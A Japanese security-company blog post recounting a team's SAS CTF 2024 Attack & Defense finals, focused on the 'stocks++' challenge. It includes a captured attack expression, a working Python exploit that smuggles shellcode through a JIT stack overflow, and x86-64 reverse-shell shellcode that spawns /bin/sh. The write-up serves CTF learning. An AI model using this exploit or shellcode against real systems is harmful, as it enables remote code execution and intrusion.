NTT Security Japan

お問い合わせ

SAS CTF 2024 Finals参加記

テクニカルブログ

SAS CTF 2024 Finals参加記
By NTT Security

Published December 27, 2024

はじめに

プロフェッショナルサービス部の鈴木です。

今回は縁あって、私の所属しているTeam Enuと、外部のCTFチームのBunkyoWesternsで合同チームを組み、Team BuNkyoとして10月にインドネシアで開催されたSAS CTF 2024 Finalsに参加してきました。

決勝大会の雰囲気や、実際に出題された問題を紹介しようと思います。

海外の決勝大会の雰囲気

今回のSAS CTF Finalsは10月にインドネシアの高級ホテルで行われました。今回の決勝に参加できるのはオンライン予選を勝ち抜いた上位8チームで、 C4T BuT S4D (世界2位)、thehackerscrew (世界3位)、r3kapig (世界4位) など、有名な強豪チームがいくつも来ていました。(順位は2024年12月24日時点のCTFTimeのレート)

↓会場の様子その1

↓会場の様子その2

↓競技中のメンバー

Attack & Defense

今回のCTFではAttack & Defense形式で競技が行われました。Attack & Defenseでは各チームに1台ずつサーバが与えられます。サーバ上では運営チームが作った脆弱なサービスが稼働していて、競技者はその脆弱性を発見して、ほかのチームのサーバから機密ファイルを奪取したり、自分のチームのサーバの脆弱性をふさぐことが求められます。

得点はだいたい以下の3点で決まります。

  • どれだけ長い時間攻撃を成功させたか
  • どれだけ長い時間ほかのチームから攻撃されたか
  • どれだけ長い時間サービスの機能を保って稼働させたか

攻撃する場合も防御する場合も、時間が重要になってくるので、できるだけ速くサービスを解析して、バグを特定することが重要です。

問題の解説

競技は全部で5つのサービスが出題されました。今回はそのうちの1問を解説しようと思います。

私が競技中に主に取り組んだ問題はstocks++という株取引を模したサービスでした。インタフェースはweb形式になっていましたが、中身の処理はRustで書かれたLinuxバイナリがメインになっていました。

トップページは以下のように株取引のチャートらしきものが映っていました。

ユーザを作成してログインすると、下図のようにフォームが出てきて、データを送ることができます。フォームには名前、説明、式を入れることができるようになっています。

トレードを送信するとリストに追加されます。ここにはほかのユーザのトレードも載っているようです。ここに表示されるのは時刻やIDなどの情報のみで、トレードの中身を確認することはできません。

自チームのサーバのdockerコンテナのログを見てみると、運営チームから自チームのフラグが送られてきている通信を発見しました。どうやら運営チームは通常のユーザとしてログインして、トレードのdescriptionの部分にフラグを入れて送信しているようです。

つまり、他のユーザの送ったトレードの中身が見えてしまうようなバグを見つけるというのがこの問題でのテーマのようです。

目指すゴールが分かったところで解析を本格的に進めていきます。静的解析ではIDA Proを使い、動的解析はローカルで問題バイナリを動かし、GDBでプロセスにアタッチする形式で行いました。

数時間かけていろいろ解析しましたが、結局、自分のトレードを閲覧するAPIが見つかったくらいで、めぼしい発見はありませんでした。式の処理が怪しそうだという見当はついていましたが、rust製でかなりバイナリが読みにくく、なかなかバグを見つけられずにいました。

競技開始から3時間ほど経過したところで、攻撃を成功させたチームが現れました。初めてフラグを取ったチームが出ると下の写真のようにスクリーンに演出を出してくれます。

自分たちのチームにも攻撃が飛んできていました。下図をみると自分たちのフラグ数がマイナスになっていて、フラグをとられていることがわかります。さらに攻撃を受けた自チームのサービスがオレンジ色に変わっていて、サービスの動作がおかしくなっているようです。

この時、自力での解析は行き詰っていたので、送られてきた攻撃パケットをさっそくチェックしました。しばらくパケット解析して以下の攻撃パケットを見つけることができました。

テキストに起こすとこんなデータが送られてきていました。

(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(-2316381664122530575+(39109426743978073+(5137699888041558016+(-5640961098832690946+(-1211347478037837639+(3919942682322597287+(-2157202672556475831+(5198424055878345167+(-5213816971043281271+(4864380390162251065+(364510095108784839+0)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))*0

大量のかっこと0、そして謎のマジックナンバーが入っています。なぜこれでフラグが取れるのかは当時まったくの謎でしたが、フラグを取られた時間の周辺のパケットをすべて開けてみて、攻撃らしいのはこのデータだけでした。

試しにほかのチームにこのデータを送ってみると、フラグは取れませんでしたが、サービスの状態がおかしくなりました。何か重大なバグを引き起こしているのは間違いなさそうです。

毎回手動でユーザ登録や式の入力をするのは面倒なので、とりあえずユーザ登録から式を入力するまでを以下のようなスクリプトで自動化しました。

#!/usr/bin/env python3


import requests
import random
import string


def rand_str(length):
    return ''.join([random.choice(string.ascii_letters) for _ in range(length)])


def dos(team_number):
    host = f'http://10.80.{team_number}.2:8080'
    data = { 'username': rand_str(10), 'password': rand_str(10) }
    r = requests.post(host + '/api/register', json=data)
    print(r.text)
    r = requests.post(host + '/api/login', json=data)
    print(r.text)
    json_data = r.json()
    token = json_data['token']
    print(token)

    with open('attack.txt', 'r') as f:
        payload = f.read()
    header = { 'Authorization': f'Bearer {token}' }
    data = { 'name': rand_str(10), 'description': rand_str(10), 'strategy': payload }
    r = requests.post(host + '/api/user/trade/submit', json=data, headers=header)
    print(r.text)


dos(9)

自動化できたので今度はこれを使って攻撃の解析を行います。自分のマシン上にDockerでサービスを立ち上げ、攻撃に使われたデータを立ち上げたサービスに送信してみます。

すると、下図のようにセグメンテーション違反でプログラムが停止します。

停止したとき実行されていたコードは下図の部分でした。

停止する直前の命令がシステムコールで、そのあとに同じ命令がずっと並んでいて、かなり不自然なコードになっています。もう少しさかのぼって、どんなコードを実行していたのかを確認すると下図のようなコードを実行していました。

このアセンブリ言語のコードをシステムコール番号をもとにC言語に直すと、以下のようなコードになります。

int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
*(uint64_t*)addr = 0xc2a160d0931e0103ull ^ 0x101010101010101ull;
connect(fd, &addr, 16); // <- "ptr" points around here
read(fd, ptr, 0x1000);

addrに書かれたサーバにTCPソケットで接続して、入力を受け取るようになっており、受け取ったデータをこのコードの周辺に書き込むようになっています。ほとんどの場合、コード領域は書き込めない設定になっていますが、このコードのメモリ領域を調べると、以下のように読み書き実行すべて可能な領域になっていました。

接続先の部分を詳しく見てみると下図のようにグローバルIPを使ってどこかのサーバに接続しています。調べてみるとDigital OceanのIPでした。おそらく、攻撃していたチームが一時的な接続先としてクラウドのサーバを借りたのではないかと思います。

まとめると、このシェルコードは外部のサーバに接続して追加のシェルコードを受け取るステージャーになっていました。

おそらくフラグを取っていたチームは追加のシェルコードでメモリかDBからフラグを探し出し、管理下のサーバに送っていたのではないかと思います。

残念ながら、ここまで気が付いた時には競技時間がほぼ終わっており、どうやってシェルコード実行までたどり着いたのか、どこにどんなバグがあるのかを突き止めることができず、まともな反撃ができないまま競技終了してしまいました。

その後

分からなかったのが悔しかったので、競技終了後に自力で解析してみました。

まず、問題のプログラムでは渡された式を実行時コンパイル(JITコンパイル)する機能が備わっていました。読み書き実行がすべて可能なメモリ領域はこのJITコンパイルされたコード(JITコード)を置くために用意されていました。

"1+(2+3)" に対応するJITコードを見てみると下図のようになっていました。

"1+(2+3)"が単純なスタックマシンの処理に変換されていることが分かります。r14がスタックポインタとして使われていて、初期値はrdiが持っています。この時のrdiは下図の値になっていました。

これでスタックの開始アドレスが分かりました。この時のJITコードのアドレスもわかっているので、スタックとJITコードの位置関係を表すと下図のようになります。

このスタックは下に向かって伸びるので、スタックが積みあがっていくとJITコードの領域にはみだして書き込んでしまいます。JITコードの領域は読み書き実行がすべて可能な領域(下図)なので、このバグによってJITコードを書き換えて、任意の機械語を実行させることが可能な状態でした。

ここで改めて競技中に送られてきた攻撃パケットの式を考えてみます(下図)。この式がJITコンパイルされて実行されると、まず大量のかっこの式によって大量の0がスタックにプッシュされ、JITコードの領域までスタックが伸びます。そして、真ん中あたりの長い整数によってJITコードの部分にシェルコードとなるデータが書き込まれたと思われます。

それから、式の最後に入っていた"*0"について、一見すると不要に見えますが、この"*0"をなくすと1回しかJITコードが実行されず、シェルコードが実行されなくなりました。(1回目のJITコード実行でシェルコードを書き込み、2回目のJITコード実行でシェルコードを実行するので、シェルコードを実行するにはJITコードを2回以上実行する必要があります。)

いろいろ実験してみたところ、式全体の結果が0の場合のみ、2回以上JITコードが実行されるようです。はっきりしたことは分かりませんでしたが、問題ファイルに付属していたREADME.md(下図)によると、式の結果の正負によって、株を売るか買うか判定するということになっていて、式の結果が正なのか負なのか(もしくは0なのか)によって、式の処理をした後の分岐が変わりそうです。たぶんこの辺りの処理が影響して、0の場合だけJITコードが複数回実行されているのではないかと予想しています。

You, as a trader can submit trading strategies to our engine. The strategy is basically a mathematical expression that decides whether the strategy buys (positive returns) or sells stock (negative returns).

つまり、最後の "*0" は式全体の結果を0にするという役割だったということです。

以上のことから攻撃コードを再現すると、以下のようになります。

import argparse
import numpy
import random
import requests
import string
import struct
import sys


STACK_SIZE = 0x3000


def data_to_int64(data):
    return numpy.int64(struct.unpack('<q', data)[0])


def rand_str(length):
    return ''.join([random.choice(string.ascii_letters) for _ in range(length)])


def register_and_login(base_url):
    data = { 'username': rand_str(10), 'password': rand_str(10) }
    requests.post(base_url + '/api/register', json=data)
    r = requests.post(base_url + '/api/login', json=data)
    json_data = r.json()
    token = json_data['token']
    return token


def data_to_expression(data):
    assert len(data) % 8 == 0
    if len(data) == 8:
        val = data_to_int64(data)
        return f'({val}+0)', val
    else:
        expression, current_val = data_to_expression(data[8:])
        final_val = data_to_int64(data[0:8])
        plus_val = final_val - current_val
        return f'({plus_val}+{expression})', final_val


def shellcode_to_final_expression(shellcode):
    padding_len = 8 - len(shellcode) % 8
    shellcode += b'\x90' * padding_len
    expression, _ = data_to_expression(shellcode)
    return '(0+' * (STACK_SIZE // 8) + expression + ')' * (STACK_SIZE // 8) + '*0'


def send_shellcode(target_host, shellcode_file):
    base_url = f'http://{target_host}:8080'
    token = register_and_login(base_url)

    with open(shellcode_file, 'rb') as f:
        shellcode = f.read()
    final_expression = shellcode_to_final_expression(shellcode)
    print(final_expression)

    header = { 'Authorization': f'Bearer {token}' }
    data = { 'name': rand_str(10), 'description': rand_str(10), 'strategy': final_expression }
    r = requests.post(base_url + '/api/user/trade/submit', json=data, headers=header)
    print(r.text)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--target', required=True)
    parser.add_argument('--shellcode-file', required=True)
    args = parser.parse_args()

    send_shellcode(args.target, args.shellcode_file)


if __name__ == '__main__':
    main()

シェルコードは以下のようなリバースシェルを張るシェルコードを作成しました。

[bits 64] ; nasm shellcode.asm

socket:
  mov rdi, 2 ; AF_INET
  mov rsi, 1 ; SOCK_STREAM
  xor rdx, rdx ; protocol = 0
  mov rax, 41 ; SYS_socket
  syscall ; socket(AF_INET, SOCK_STREAM, 0)

connect:
  mov rdi, rax ; sock
  push 0 ; sin_zero
  mov rcx, 0x010011ac39300002 ; 0x0002 (family AF_INET), 0x3930 (port 12345), 0x010011ac (ip 172.17.0.1)
  push rcx
  mov rsi, rsp ; sockaddr
  mov rdx, 16 ; length
  mov rax, 42 ; SYS_connect
  syscall ; connect(sock, &addr, sizeof(addr))

dup2:
  xor rsi, rsi
dup_loop:
  mov rax, 33 ; SYS_dup2
  syscall ; dup2(sock, 0), dup2(sock, 1), dup2(sock, 2)
  inc rsi
  cmp rsi, 2
  jle dup_loop

execve:
  mov rcx, 0x68732f6e69622f ; "/bin/sh\0"
  push rcx
  mov rdi, rsp ; rdi = "/bin/sh\0"
  xor rdx, rdx ; rdx = NULL
  push rdx
  push rdi
  mov rsi, rsp ; rsi = { "/bin/sh\0", NULL }
  mov rax, 59 ; SYS_execve
  syscall ; execve("/bin/sh", { "/bin/sh", NULL }, NULL);

実際にこのエクスプロイトコードを実行してリバースシェルを待ち受けていると、下図のようにシェルが返ってきます。

おわりに

今回はSAS CTF 2024 Finalsの紹介と問題の解説をしました。私にとって初めてのオンサイトの海外CTF参加ということもあり、たくさん刺激を受けました。Attack & Defenseなら読み取り専用のバグだろうと予想していたので、RCEされていると気づいたときはとても驚きました。競技時間後に解きなおしてみて、改めて上位チームの解析力の高さを思い知りました。悔しい結果となってしまいましたが、これも経験だと思って精進しようと思います。

最後に、今回の参加の機会をくださったBunkyoWesternsさん、共に戦ってくれたチームメンバーの方々、ありがとうございました。またどこかのCTFでお会いしましょう。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。